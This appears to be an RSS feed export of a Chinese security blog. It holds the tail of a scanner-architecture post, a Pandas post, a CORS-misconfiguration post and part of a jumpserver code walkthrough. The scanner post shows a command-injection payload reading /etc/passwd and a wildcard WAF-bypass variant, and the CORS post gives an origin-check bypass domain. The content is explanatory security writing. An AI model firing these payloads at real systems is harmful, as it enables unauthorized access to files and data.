&#34;<span class="hljs-attribute" style="box-sizing: border-box;color: rgb(0, 128, 128);">description</span>&#34;: <span class="hljs-value" style="box-sizing: border-box;"><span class="hljs-string" style="box-sizing: border-box;color: rgb(221, 17, 68);">&#34;name: 111, password: 111&#34;<br/></span></span>}]</code></pre><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);"><strong><br/></strong></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);"><strong>service_bat</strong>，对应的是 service_domain 级别漏洞的扫描，模块输入出如下代码示例：</p><p><img class="" data-copyright="0" data-ratio="0.33974358974358976" data-s="300,640" style="" data-type="jpeg" data-w="936" src="https://wechat2rss.xlab.app/img-proxy/?k=2c161f86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQkicDoqMu0nRnEwOicQNEHRdtkXDLl4PibsHH1JicZOnI3enNLibFbRbrXtwEnQHRyYJM8pjvDBJcMORAQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">未指定 端口 及 对应的服务 的时候，程序会 Fuzz 所有 Payload（默认端口，比如ssh弱口令对应22端口）。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);"><strong>web_domain_bat</strong>，对应的漏洞类型是web_domain级。模块输入如下代码示例：</p><p><img class="" data-copyright="0" data-ratio="0.4127310061601643" data-s="300,640" style="" data-type="jpeg" data-w="974" src="https://wechat2rss.xlab.app/img-proxy/?k=4553ea43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQkicDoqMu0nRnEwOicQNEHRdtNzMerNoUa2IibEyxICwh2ASLpxFI0YmsA8lkcSfUKI658CnhsDa7jDA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">这个模块涉及的 Payload 比较多，原本可以分成好几个模块，比如 弱点文件Fuzz、web通用程序漏洞Fuzz。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">但从 Payload 的特性来看，<strong>都是基于单次/少量web请求，判断返回值或者返回内容是否包含指定字符串，就可以确认这个站点是否存在漏洞</strong>。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">提取这些关键特征，可以将大部分的 Payload 都<strong style="box-sizing: border-box;">配置文件化</strong>，以网页的形式去管理，即可大幅减少维护成千上万 Payload 文件的成本。通过统计 Payload 的命中次数/扫描次数等数据，也对后续 Payload 的优化调整有很高的指导意义（比如：智能模式下，只扫描命中率较高的 Payload）。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);"><strong>url_bat</strong>，对应了 url参数级别 和 url级别 的漏洞扫描。模块输入如下代码示例：</p><p><img class="" data-copyright="0" data-ratio="0.5760286225402504" data-s="300,640" style="" data-type="jpeg" data-w="1118" src="https://wechat2rss.xlab.app/img-proxy/?k=a8566e81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQkicDoqMu0nRnEwOicQNEHRdtpBn9iaUHaGyGKzV5Va9qSzd4SwSOSdSHl24q3icuxgxqBLuFic8rP5Hvg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">这个模块和 web_domain_bat 模块一样，可以将 Payload 配置文件化。业界比较好的开源软件，也可以引入，比如：sqlmap（SQL注入）、tplmap（SSTI模板注入）等。<br/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">这个模块还包含了很多的通用漏洞，绕过WAF的能力也很重要。比如：</p><pre style="box-sizing: border-box;overflow: auto;"><code class="hljs livecodeserver" style="box-sizing: border-box;display: inline;background-color: transparent;"><span style="color:#008080;">初级Payload</span>: <span class="hljs-keyword" style="box-sizing: border-box;font-weight: bold;">http</span>://test.com/<span class="hljs-command" style="box-sizing: border-box;"><span class="hljs-keyword" style="box-sizing: border-box;font-weight: bold;">command</span>.<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">php</span>?<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">exe</span>=<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">cat</span> /<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">etc</span>/<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">passwd<br/></span></span><span class="hljs-number" style="box-sizing: border-box;color: rgb(0, 128, 128);">高级Payload</span>: <span class="hljs-keyword" style="box-sizing: border-box;font-weight: bold;">http</span>://test.com/<span class="hljs-command" style="box-sizing: border-box;"><span class="hljs-keyword" style="box-sizing: border-box;font-weight: bold;">command</span>.<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">php</span>?<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">exe</span>=<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">c</span>?<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">t</span> /<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">e</span>??/<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">p</span>??<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">s</span>?<span class="hljs-title" style="box-sizing: border-box;color: rgb(153, 0, 0);font-weight: bold;">d</span></span></code></pre><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.4;font-size: 1.25em;font-weight: bold;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">0x03 总结</h4><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">如上分析，就已经是一个比较全面的扫描模式设计了，可以给每个即将到来的漏洞POC找到自己的位置。再举几个栗子：</p><ul style="" class=" list-paddingleft-2"><li><p>永恒之蓝（010）： 归属于 service_bat 模块，smb 服务。</p></li><li><p>Struts2命令执行（S2-053）：归属于 url_bat 模块，param级别扫描</p></li><li><p>docker remote API未授权：归属于 domain_bat 模块，不限定指纹</p></li><li><p>Tomcat RCE（CVE-2017-12615）：归属于 domain_bat 模块，限定 Tomcat 指纹</p></li></ul><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">最后泼一万吨液氨水，扫描器讲架构讲设计都是耍流氓，POC<span style="color: rgb(51, 51, 51);caret-color: rgb(51, 51, 51);">数量多的、</span>质量高的（0day，误报率低）才是大爷。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">而小型安全团队，做内部的漏洞应急排查，YSRC开源的巡风就完全够用了（没有 爬虫 和 url_bat 模块）。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">在当前国内漏洞报告普遍封闭的大背景下，想打磨大而全的强力扫描器，要么需要大量源码审计人员从修复代码中“逆向”出漏洞，要么依托于已有的漏（money）洞（money）平（money）台（money）。牛逼的越来越牛逼，吃瓜群众还是继续吃瓜...</p><p><img class="" data-copyright="0" data-ratio="1.1952191235059761" data-s="300,640" style="" data-type="jpeg" data-w="251" src="https://wechat2rss.xlab.app/img-proxy/?k=cf1d6477&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQkicDoqMu0nRnEwOicQNEHRdtTlQkBwjbaoqMrSytlicr5MB8Mu29eOIpMSwymcYX5Z9RPvL8HjXDMibg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);"><br/></p>



<p><a href="2247483765">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ec1447bc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483765%26idx%3D1%26sn%3D00f704385c59787c99bb59d422ee7cbf%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 07 May 2018 20:04:00 +0800</pubDate>
    </item>
    <item>
      <title>琐事闲谈 &amp; Pandas安利</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483757&amp;idx=1&amp;sn=9b2d5d4e3715388bdf17da1ce9639f0a</link>
      <description>煲了一碗鸡汤，加了几分技术的调料，来尝尝？</description>
      <content:encoded><![CDATA[<p>
原创 <span>Fr1day</span> <span>2018-05-04 22:52</span> <span style="display: inline-block;"></span>
</p>

<p>煲了一碗鸡汤，加了几分技术的调料，来尝尝？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b0558328&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQllnIAlCgiaU3WgxAEAGaVeB99XUYSC8jMcnsFJsNQCStLibgG4wibGkYUXSlQyZyo7fl0fk2eNptc7A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.4;font-size: 1.25em;font-weight: bold;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">0x00 先吃一口安利：Pandas + Numpy</h4><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">最近几周都沉迷机器学习不可自拔，非常有 “相见恨晚” 的感觉，想丢下一切跟机器学习走 :)</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">后果就是工作进度拉下不少 o(╥﹏╥)o，趁着周五疯狂赶进度。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">有这样一个场景：Agent 每隔一段时间会回传 CPU 的占用情况（数据存在 ElasticSearch 里），需要提取一天内 CPU 占用率过高的主机列表发邮件提醒我。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">原本代码是这样写的：<br style="box-sizing: border-box;"/></p><p><img class="" data-copyright="0" data-ratio="0.5567010309278351" data-s="300,640" style="" data-type="jpeg" data-w="1164" src="https://wechat2rss.xlab.app/img-proxy/?k=f18b75b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQllnIAlCgiaU3WgxAEAGaVeBUfMib2eGCy1yicb7X6bFD0wqL6Mq94J8EVrvCMGedniaM0u6nOspia5GuA%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>但是一台机器可能会触发多次CPU占用率过高的记录（无需重复提醒），还有一些机器只触发了一次的CPU占用率过高（偶发事件，应该忽略），这都需要特殊处理下。</p><p><br/></p><p>大脑放空...这大概得做个 groupby 吧...要是改这个ES查询语句，我可能又要改半天了...说起来，pandas 的 groupby 是真好用啊...要是 pandas 能用在这个破项目里就好了...诶诶，怎么不能用啊？</p><p><br/></p><p><img class="" data-copyright="0" data-ratio="0.972" data-s="300,640" style="" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=a6b81c11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQllnIAlCgiaU3WgxAEAGaVeB6MSXyk4hFJy5oxQe26ChMSPAxvNHBCrVAFCLNY8u7fKibzxbVLS9icog%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>查了下资料，[dict1, dict2, dict3...] 这种格式的可以直接转化为 dataframe 对象。处理完的 dataframe 对象也可以轻松的转化为各种形式的 Python 内置数据类型。代码如下：</p><p><img class="" data-copyright="0" data-ratio="0.115625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=71b7b9a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQllnIAlCgiaU3WgxAEAGaVeBaE11IQrGJcefU25d623icKmiaXic22icISpYxD1tl4L0PQSQBicQHB3jy7w%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>处理后的告警结果如下（按平均 CPU 占用率排序。不过港真，这种单核 CPU 占用率在30%的辣鸡 Agent 真的是我写出来的吗？）</p><p><img class="" data-copyright="0" data-ratio="0.9391534391534392" data-s="300,640" style="" data-type="jpeg" data-w="756" src="https://wechat2rss.xlab.app/img-proxy/?k=b63dd4c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQllnIAlCgiaU3WgxAEAGaVeBUrXaxqOvKGyaFcRFOp2NN8pTPhzbAhqwia2HmbpKB9mXarwbM7GbK6Q%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">想想参加个比赛，被各种数据虐来虐去，groupby用了多少次准确率还是低到令人发指。用在这犄角旮旯统计的事情上，<span style="color: rgb(51, 51, 51);caret-color: rgb(51, 51, 51);">几行代码</span>分分钟解决问题。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">这是一个多么痛的领悟：<strong>Pandas、Numpy 用于科学计算，并非机器学习专用</strong>。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">写完又开始神游天边，在我没接触机器学习，也没用过 Pandas、Numpy 之前，是不是花了很多冤枉时间来写辣鸡代码？</p><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.4;font-size: 1.25em;font-weight: bold;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">0x01 机器学习</h4><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">突然让我感受到机器学习的重要性，是从隔壁组做了个基于机器学习的流量分析开始。将贝叶斯算法应用于预处理阶段，可以过滤掉大部分的正常请求，比正则或者字符串的匹配效率要高很多。再对剩下的数据进行二次处理，由于数据量不大，正则表达式的效率问题也就不那么突出了。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">而后，我想做个服务端监控，和领导聊我的一些想法的时候，领导丢给我了一个词：UEBA。本来以为是个IT圈的新词，搜索的时候发现竟然和安全有千丝万缕的关系。（<a href="https://www.jianshu.com/p/49b93dd261b8）" target="_blank">https://www.jianshu.com/p/49b93dd261b8）</a></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">春节放假的时候，想研究一下开源的 HIDS —— ossec，买了本巨厚的《OSSIM最佳实践》翻了一遍，ossec Agent 源码也看了一部分，独独空下了 Server 端事件分析、上下文关联这部分的内容。当时觉得太复杂，没想到最后还是逃不开命运。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">四月份开始正儿八经的开始看书看视频，跟着吴恩达老师学了两周，了解了一些简单算法的原理，在数学公式里一脸懵逼。用octave做出第一个仿真的时候，开心到炸裂~<br style="box-sizing: border-box;"/></p><p><img class="" data-copyright="0" data-ratio="0.75" data-s="300,640" style="" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=16dd66b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQllnIAlCgiaU3WgxAEAGaVeB94Pen4DV9Zt1s4jNtqmedboza9nWa8JVuWcaEhSo69oib0jVlu2Elbg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">万能的朋友推荐了本书（Machine Learning and Deep Learning in python using Scikit-Learn and TensorFlow， github:<span class="Apple-converted-space"> </span><a href="https://github.com/ageron/handson-ml" target="_blank">https://github.com/ageron/handson-ml</a><span style="box-sizing: border-box;word-wrap: break-word;word-break: break-all;color: rgb(0, 0, 0);">），用 J</span>upyter 一步步跟着复现。人生中头一次看原文书，竟然还能理解的差不多，感谢我的高中老师 ヽ(￣▽￣)و</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">书还没看到一半，万能的朋友再次出现，给我安利了一个机器学习比赛。选了个业务安全方向的题目，自己折腾了一周多，晚上睡觉都梦到 pd.merge，训练出的准确率还是惨不忍睹。<strong>积累了一丢丢实践经验，准备回去继续看书，毕竟厚积才能薄发</strong>。</p><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.4;font-size: 1.25em;font-weight: bold;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">0x02 近期计划</h4><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">作为一只机器学习界的萌新，还是要把常用算法都实践一波。YSRC开源的驭龙 HIDS 源码要看，OSSIM 的事件关联分析部分要看。</p><p style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);">沿着 “漏洞发现” 这条路，我从扫描器和 SDL 做到 HIDS。之后会沿着 “安全感知” 的这条路，结合威胁数据分析和机器学习，希望能找到适合我的新方向 (～￣▽￣)～</p><p><br style="box-sizing: border-box;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);"/></p><p><br/></p>



<p><a href="2247483757">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7b60c5c7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483757%26idx%3D1%26sn%3D9b2d5d4e3715388bdf17da1ce9639f0a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 04 May 2018 22:52:00 +0800</pubDate>
    </item>
    <item>
      <title>跨源资源共享(CORS) 漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483749&amp;idx=1&amp;sn=510d9cc291365b7b785eef3db4c8ac4a</link>
      <description>Access-Control-Allow-Origin 可能会造成的敏感信息泄露</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2018-02-08 18:33</span> <span style="display: inline-block;"></span>
</p>

<p>Access-Control-Allow-Origin 可能会造成的敏感信息泄露</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1d369dfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQm2C8spLic63bSYgBBzRQqiawlyI33PQ794DuwVskWicsicTBhw04DeSeDRXLP7ibX6XlpBZELgkCHvd5Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3>如果有一天我不再更新了 = = 肯定是因为公众号这个破编辑器太难用了<br/></h3><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.43;font-size: 1.5em;font-weight: bold;color: rgb(51, 51, 51);">测试过程</h3><p>看到安全客的一篇文章，讲 CORS 可能会造成的安全漏洞，提到可以通过 xhr.withCredentials 支持 跨域Cookie 的传递。</p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">然后本鸭就想岔了，跨域请求、还能支持Cookie，那岂不是可以分分钟拿到 httponly 的 Cookie了？？</p><p>写了个Demo做测试：</p><p><br/></p><p><img class="" data-copyright="0" data-ratio="0.6387225548902196" data-s="300,640" style="" data-type="jpeg" data-w="1002" src="https://wechat2rss.xlab.app/img-proxy/?k=e1422c60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQm2C8spLic63bSYgBBzRQqiawMZPnlGoiaJeNOzCEcOzicl5LzzzrBy1Ak7bBTUykCVIIgWs1cc31VV2A%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><img class="" data-copyright="0" data-ratio="0.18671875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=43a63d39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQm2C8spLic63bSYgBBzRQqiaw6Y7ZSYc44drI4icAO57AscShXgQicS7SNQ7pcicTATeINiauwTic2CSsb0w%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">但是本鸭还是太年轻啊！！这个地方的 Cookie 仍然他喵的遵守同源策略啊！！<br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">同源策略本来不就是这么规则的吗！！为什么！！为什么要加个没什么卵用的属性来伤本鸭的心！！</p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.43;font-size: 1.5em;font-weight: bold;color: rgb(51, 51, 51);">信息泄露</h3><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">大老师说过：当上帝为你关上一扇门，总会再给你把窗户都钉死。</p><p><img class="" data-copyright="0" data-ratio="1.4416058394160585" data-s="300,640" style="width: 193px;height: 278px;" data-type="jpeg" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=8fa6f8f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQm2C8spLic63bSYgBBzRQqiawutDAbZksGFEDEO4yCSMXZCr33OWLub0nvvgv3ib8icFSPV81icbveyTiaQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">虽然XSS直接取Cookie的方法不通，但通过CSRF的思路读取敏感信息还是可以的。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">比如，有些开发为了方便，会这样写（<a href="https://www.jianshu.com/p/552daaf2869c）：" target="_blank">https://www.jianshu.com/p/552daaf2869c）：</a></p><p><img class="" data-copyright="0" data-ratio="0.1946564885496183" data-s="300,640" style="" data-type="jpeg" data-w="1048" src="https://wechat2rss.xlab.app/img-proxy/?k=fd373ceb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQm2C8spLic63bSYgBBzRQqiaw0ibRmXzqTojQlJvpCwVugFWMo69RibazlGAwd4x1dWshiaXJDFPzu9nwQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>或者这样写：</p><p>header(&#39;Access-Control-Allow-Origin:*&#39;);</p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">很明显都是存在安全隐患的，可以做到 “点我的链接，我就知道你二大爷的闺女的口红色号” 的效果。</p><p><img class="" data-copyright="0" data-ratio="0.38727272727272727" data-s="300,640" style="" data-type="jpeg" data-w="1100" src="https://wechat2rss.xlab.app/img-proxy/?k=f941cd77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQm2C8spLic63bSYgBBzRQqiawB5KrrQKIz56trQTj41cSUmpzoHe4V7cMWViclpRkb5grmRxcHXamjaA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);"><br/></p><p>当然可能存在稍微聪明点儿的开发，做了一些限制：</p><p><img class="" data-copyright="0" data-ratio="0.13157894736842105" data-s="300,640" style="" data-type="jpeg" data-w="1140" src="https://wechat2rss.xlab.app/img-proxy/?k=6a627fe5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQm2C8spLic63bSYgBBzRQqiawX2tATO1pU9XIoatJe8XESOlenU97Y9djDhia2TqKW5tW25wq8zQ1dCg%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>可以绕过：</p><p>victim.com.hacker.com</p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.43;font-size: 1.5em;font-weight: bold;color: rgb(51, 51, 51);">参考资料</h3><p>JSONP与CORS漏洞挖掘 <a href="https://www.anquanke.com/post/id/97671" target="_blank">https://www.anquanke.com/post/id/97671</a></p><p>跨域资源共享 CORS 详解 <a href="http://www.ruanyifeng.com/blog/2016/04/cors.html" target="_blank">http://www.ruanyifeng.com/blog/2016/04/cors.html</a></p><p><br style="box-sizing: border-box;color: rgb(51, 51, 51);"/></p><p><br/></p>



<p><a href="2247483749">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3552537b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483749%26idx%3D1%26sn%3D510d9cc291365b7b785eef3db4c8ac4a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 08 Feb 2018 18:33:00 +0800</pubDate>
    </item>
    <item>
      <title>初识堡垒机 (一)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483738&amp;idx=1&amp;sn=e9bd12bcda7122a47f0d380fd7a57173</link>
      <description>有续篇还是没续篇，这是一个问题。</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2017-12-29 09:58</span> <span style="display: inline-block;"></span>
</p>

<p>有续篇还是没续篇，这是一个问题。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f8a1164f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQlrpadibe7thIBsdzefByH4hGCms7sPia94vkJK1bY2LibIURpJpTfgr82XF4bFvKdYTJDz85OTic3vxw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">诈尸。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">终于轮到了一个“不费力但讨好”的项目，做的差不多了。随便翻翻feedly，看到有老司机在介绍开源堡垒机——jumpserver。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">想了解实现原理，所以看了部分核心代码，这篇文章就是个简单的记录。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">jumpserver三大核心组件：Jumpserver（Web控制台）、Luna（Web Terminal）、Coco（跳板机，即SSH Terminal）。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">Coco为跳板机的守护进程，负责监听用户连接、鉴权、连接后端机器、监控命令等。这次只关注这个模块的实现原理。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">相关目录结构:</p><ul style="" class=" list-paddingleft-2"><li><p>coco/<br style="box-sizing: border-box;"/></p></li><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p>app.py</p></li><li><p>interactive.py</p></li><li><p>interface.py</p></li><li><p>proxy.py</p></li><li><p>tasks.py</p></li><li><p>...</p></li></ul><li><p>jms/</p></li><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p>service.py</p></li><li><p>tasks.py</p></li><li><p>utils.py</p></li><li><p>...</p></li></ul><li><p>run_server.py</p></li></ul><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">run_server.py 为入口程序，会启动三个守护进程：</p><ul style="" class=" list-paddingleft-2"><li><p>coco/app.py: 提供ssh连接服务</p></li><li><p>command_task: command_queue队列消费者，用户输入命令后发送到Jumpserver保存，用于后续审计</p></li><li><p>record_task: record_queue队列消费者，将输入输出发送给Jumpserver, 用来录像回放</p></li></ul><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);"><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">跟进 app.py 的详细步骤：</p><ul style="" class=" list-paddingleft-2"><li><p>开启socket监听，默认为2222端口，最多允许5个客户连接到服务器</p></li><li><p>每接收到一个客户端连接请求，就会开启一个新的守护线程，调用paramiko模块，假装自己是一个ssh server,进行ssh认证和建立连接</p></li><li><p>验证成功后，会开启一个交互式的命令窗口接收用户输入</p></li><li><p>用户输入机器ip后，程序会先判断是否为用户被授权的资产（调用接口查询数据库）。</p></li><li><p>如果查询到资产后，会再次调用paramiko模块，假装自己是client连接到后端机器(调用接口查询用户密码信息，然后连接)</p></li><li><p>利用多路复用IO的模块（python selectors）来监控两边的输入输出，并进行双向通信。如下（糙）图：</p></li></ul><p><img data-s="300,640" data-type="jpeg" data-w="1020" data-copyright="0" style="" class="" data-ratio="0.6627450980392157" 